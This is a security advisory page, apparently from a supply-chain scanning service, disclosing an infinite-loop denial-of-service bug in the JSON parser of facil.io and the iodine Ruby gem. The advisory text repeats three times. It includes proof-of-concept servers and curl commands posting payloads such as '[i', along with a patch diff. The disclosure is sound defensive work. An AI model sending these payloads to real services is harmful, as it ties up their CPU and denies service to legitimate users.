### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`
### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`
Monitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanUncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem affects iodine (rubygems). Severity is high. ### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`
AI coding agents often install or upgrade packages automatically in rubygems. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| iodinerubygems | <=0.7.58 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardMonitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanUncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem affects iodine (rubygems). Severity is high. ### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`
AI coding agents often install or upgrade packages automatically in rubygems. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| iodinerubygems | <=0.7.58 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard